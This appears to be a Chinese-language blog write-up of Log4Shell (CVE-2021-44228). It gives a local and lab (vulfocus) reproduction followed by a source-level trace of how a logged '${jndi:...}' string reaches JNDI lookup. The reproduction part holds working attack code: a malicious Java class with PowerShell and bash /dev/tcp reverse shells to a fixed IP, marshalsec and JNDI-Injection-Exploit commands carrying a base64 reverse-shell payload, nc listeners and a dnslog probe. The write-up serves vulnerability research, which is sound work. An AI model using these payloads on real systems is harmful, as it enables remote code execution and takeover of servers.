Apache Log4j2 CVE-2021-44228漏洞复现分析
前言
Log4j2是Java开发常用的日志框架,这次的漏洞是核弹级的,影响范围广,危害大,攻击手段简单,已知可能影响到的相关应用有
Apache SolrApache FlinkApache DruidApache Struts2srping-boot-strater-log4j2ElasticSearchflumedubboRedislogstashkafka
从使用场景上看,只要是通过log4j2记录日志时,记录的内容可控即可触发漏洞

(error可以、info不行,详见后续分析)
影响范围
Apache Log4j2 2.0.0 ~ 2.15.0-rc1
漏洞复现
jdk版本要求
需要注意的有以下几点:
-
基于RMI的利用方式,JDK版本限制于
6u132、7u131、8u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码 -
基于LDAP的利用方式,JDK版本限制于
6u211、7u201、8u191、11.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载 -
针对高版本的jdk,即使设置了
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
可能在利用时也会失败(vulfocus环境),具体原因未查明…表现是ldap接收到请求,但是没往http上重定向,但是本地是ok的
本地复现
使用idea构造一个测试项目,对于java的版本有要求,尽量使用jdk8u113之前jdk8版本(如果是仅测试ldap的注入,用191之前的版本即可)
maven导入相关jar包
写一个测试类
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Test {private static final Logger logger = LogManager.getLogger(Test.class);public static void main(String[] args) {// String payload = "${jndi:ldap://gi7r4l.dnslog.cn/xx}";// 高版本需要设置,rmi只需要把ldap改成rmi即可System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");String payload = "${jndi:ldap://59.110.46.22:45708/RS45706}";// String payload = "${jndi:rmi://59.110.46.22:45708/Calc}";logger.error("{}", payload);logger.info("{}", payload);logger.info(payload);logger.error(payload);}}
准备一个恶意类,以下是弹计算器以及反弹shell的利用类
弹出计算器
import java.io.IOException;public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public static void main(String[] args) throws IOException {Runtime.getRuntime().exec("calc");}}
反弹shell
import java.io.IOException;/*** 反弹shell用类*/public class RS45706 {static {// 静态块反弹shell// windows操作系统使用powershell反弹if(System.getProperties().getProperty("os.name").toLowerCase().contains("windows")) {String reverseShellW = "powershell -nop -c \"$client = New-Object Net.Sockets.TCPClient('59.110.46.22',45706);" +"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = " +"$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" +"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);" +"$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';" +"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);" +"$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"";try {Runtime.getRuntime().exec(reverseShellW);} catch (IOException e) {e.printStackTrace();}} else {// bash -i >& /dev/tcp/59.110.46.22/45706 0>&1 linux反弹命令String reverseShellL = "bash -i >& /dev/tcp/59.110.46.22/45706 0>&1";String[] cmd = new String[]{"/bin/bash","-c",reverseShellL};try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {e.printStackTrace();}}}public static void main(String[] args) {}}
在vps(或者是其他目标主机能访问到的机器)开启以下三个服务的端口监听
ldaphttpnc
-
ldap服务监听
这里使用的是github上的一个利用工具marshalsecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://59.110.46.22:45707/#RS45706" 45708
监听的端口为45708,指向的类设置成反弹shell的类
-
http服务监听
需要http访问的文件夹下需要放置刚刚编译好的恶意类,然后使用python快速启动一个http协议python3 -m http.server 45707 或python -m SimpleHTTPServer 45707
-
nc监听反弹端口
nc -lvvp 45706
准备工作做完后,直接运行测试类即可看到shell被反弹到我们的vps中
靶场复现
靶场使用的是fofa的vulfocus
靶场搭建:
docker run -d -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=your-ip vulfocus/vulfocusadmin/admin
docker搭建完成后,直接访问ip:port,登陆后同步镜像
然后找到log4j2的镜像启动
对于靶场环境,无法直接使用本地环境的复现方式进行复现。原因未知,可能与spring的环境有关,需要深入进行研究
但是对于复现,可以使用github上的另一个工具JNDI-Injection-Exploit进行复现
使用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuNDYuMjIvNDU3MDYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 59.110.46.22-C 参数接的是执行的命令-A 是VPS-ip
这个工具会同时监听http、ldap与rmi,并生成payload
需要注意的是,只有
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):rmi://59.110.46.22:1099/hh15oi
这个payload才可以
发送此payload即可反弹
poc批量扫描思路
针对该漏洞的快速验证,可以借助dnslog,在jndi被解析并触发ldap请求时,会请求dns的解析,这样就可以判断漏洞的存在性,poc如下
${jndi:ldap://baidu.l3bkhz.dnslog.cn/xx}
漏洞分析
这个漏洞是一个标准的JDNI注入,产生漏洞的原因是因为Context.lookup()的参数可控,导致程序请求攻击者的恶意服务器上的恶意类导致任意代码执行。
先定位一下调用栈
我们需要捋清楚的是,我们传入的数据是如何通过logger.error(payload)最终传入到lookup()中的,需要看住的是我们传入的语句,即message变量
首先跟入error()方法,这里直接调用了logIfEnabled()
在此方法中,会先判断isEnabled()为true才继续执行
而isEnabled()的判断是在AbstractLogger抽象类的子类Logger中做的
跟进filter()
这里先判断this.config.getFilter()是否为空,而且默认的config.Filter为空,所以不会进这里的if语句;然后后续的判断只要是level不为空而且this.intLevel只要大于等于log等级的intLevel就会返回true,所以只要是intLevel等级在200以下的都可以触发该漏洞,这类的方法有
OFF、FATAL、ERROR
其余的无法触发
接着向下跟入
logMessage() -> logMessageSafely() -> logMessageTrackRecursion() -> tryLogMessage() -> Logger.log()
前面几个由于是单方法的层层传递,就不再跟入,只需要关注的是在logMessage()中将String类型的message封装到了Message类中即可,然后直接来到Logger.log()中
这里判断this.privateConfig.loggerConfig.getReliabilityStrategy()获取的对象是否是LocationAwareReliabilityStrategy或其子类的实例
这里的strategy默认为DefaultReliabilityStrategy的对象实例,而DefaultReliabilityStrategy实现了LocationAwareReliabilityStrategy接口
所以上述的if语句会返回true,进入89行,接着向下深入
DefaultReliabilityStrategy.log() -> LoggerConfig.log()
这里的data参数为我们传入的语句,这里的this.propertiesRequireLookup在我们最开始直接获取Logger对象的时候默认设置为false
然后设置props,此处为null
然后在第279行将message、props等变量作为参数,创建了一个LogEvent类的对象,这里没什么好说的,重点是将我们传入的JNDI表达式(Message对象设置到了LogEvent.messageFormat和messageText中)
然后接着跟入LoggerConfig.log()
这里会判断一次isFilter()
在AbstractFilterable类中filter会设置为null,而之前说的LoggerConfig作为其子类,默认调用的是无参构造方法,没有涉及到对filter的修改,所以此处的isFilter()判断必为false会进入295行的
this.processLogEvent(event, predicate);
在上图的306行有一个if判断,这里是传入的ALL是绝对为true的
在307行将event对象作为参数传进了callAppenders()方法中
这里有一个循环,但是我们重点是关注AppenderControl.callAppender()对event做了什么,所以直接跟进358行callAppender()中
在第44行会将event作为参数传入shouldSkip()中,只有以下三个函数全为false时才会进入45行的callAppenderPreventRecursion()
isFilteredByAppenderControl() - 判断是否有filter过滤,默认为null,返回falseisFilteredByLevel() - 判断是否通过level过滤,这里默认的level为ALL,所以默认必然为falseisRecursiveCall() - 判断是否递归调用-是则返回true
继续跟进
callAppenderPreventRecursion() -> callAppender0()
这里的isFilteredByAppender()和之前isFilteredByAppenderControl()的逻辑类似,也是为了判断是否有filter过滤,默认为null,返回false
继续跟入
tryCallAppender() -> AbstractOutputStreamAppender.append() -> tryAppend()
判断了一下Constants.ENABLE_DIRECT_ENCODERS的值,在初始化时静态块中设置为true
跟入
directEncodeEvent() -> PatternLayout.encode()
这里先判断this.eventSerializer是否是Serializer2的一个实例,但是在类声明时eventSerializer被声明成了Serializer的对象,在构造方法进行初始化时执行了这样一条语句
this.eventSerializer = newSerializerBuilder().setConfiguration(config).setReplace(replace).setPatternSelector(patternSelector).setAlwaysWriteExceptions(alwaysWriteExceptions).setDisableAnsi(disableAnsi).setNoConsoleNoAnsi(noConsoleNoAnsi).setPattern(eventPattern).setDefaultPattern("%m%n").build();
其实只需要看看build()方法
这个方法里出来第一块if分支,其余两个返回的类对象都同时实现了Serializer和Serializer2,而pattern和defaultPattern都被设置了,所以肯定会进入encode()的else分支
然后这里还有一个需要关注的,就是eventPattern它其实就是event序列化的格式,这个也被设置在了eventSerializer中被一起传入接下来的方法
接下来跟进
toText() -> PatternSerializer.toSerializable()注:此处的PatternSerializer为PatternLayout的内部类
406行的循环是一个重要的逻辑,最终的触发点也是在这个循环中产生的,这里的this.formatters其实就是刚刚看的eventSerializer的一个类属性,就结果来说,循环的每一次执行,就会向buffer里格式化填充一块数据,每次格式化的数据如下:
(部分截图)
需要说明的是,这里忽略了具体格式化时的逻辑,因为块数据格式化时使用的逻辑可能不同,而且与漏洞无关,重要的只有处理jndi表达式那块
在循环进行到第9次,即索引为8时,会来到漏洞触发的逻辑,继续跟入
PatternFormatter.format() -> MessagePatternConverter.format()
这里首先会有一个类型判断,这里的msg是MutableLogEvent的实例,实现了LogEvent, ReusableMessage, ParameterVisitable接口,ReusableMessage实现了StringBuilderFormattable接口,所以类型判断是通过的
在第106行会将toAppendTo设置给workingBuilder(默认情况,不做渲染,走false逻辑)
然后第107行的offset为偏移量,即从之前格式化的数据之后进行填充
然后重点看114行,这里先做了一个判断,判断config不为空,而且nolookups为false时,进入之后的逻辑
config的判断不需要关注,需要看看的是nolookups的判断
在初始化时noLookups的赋值为如下语句
Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS默认为false
后面noLookupsIdx >= 0的判断需要跟一下MessagePatternConverter的初始化。
在初始化时会调用到两次MessagePatternConverter()构造方法,两次options[]都是空,那其实没必要深究了
回到
MessagePatternConverter.format()
的第116行,这里开始对JDNI表达式进行处理了
直接跟进119行
这里主要是关注我们的JNDI表达式(这里的source)的传递,这里通过字符串构造了一个StringBuilder的对象
StrSubstitutor.replace() -> substitute() -> substitute()注:上述第一个substitute为重载的方法,第二个为主要的处理逻辑
进入了substitute()发现它又臭又长,其主要作用是递归处理日志输入,转为对应的输出
我们只需要重点关注针对buf的操作即可,针对buf的操作就只有330行else if这块
这里的逻辑是删除JNDI表达式中间的$,其实影响不到我们的注入语句,然后进入else分支
直接来到418行
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
说一下传入的参数
varName - 抽取出的JNDI表达式`${}`中的内容startPos - 0 pos的初值pos - JNDI表达式总长的计数,我传入的payload此处值为41
跟入
resolveVariable() -> resolver.lookup()
这里主要的逻辑是先找了一波:的位置,然后将jndi:后面的表达式取出,赋值给name,这里的StrLookup中包含了多种Lookup对象,可以通过前缀来确定使用哪种lookup
最终跟入
JndiLookup.lookup()
最后就是一路带进Context.lookup()里了

浙公网安备 33010602011771号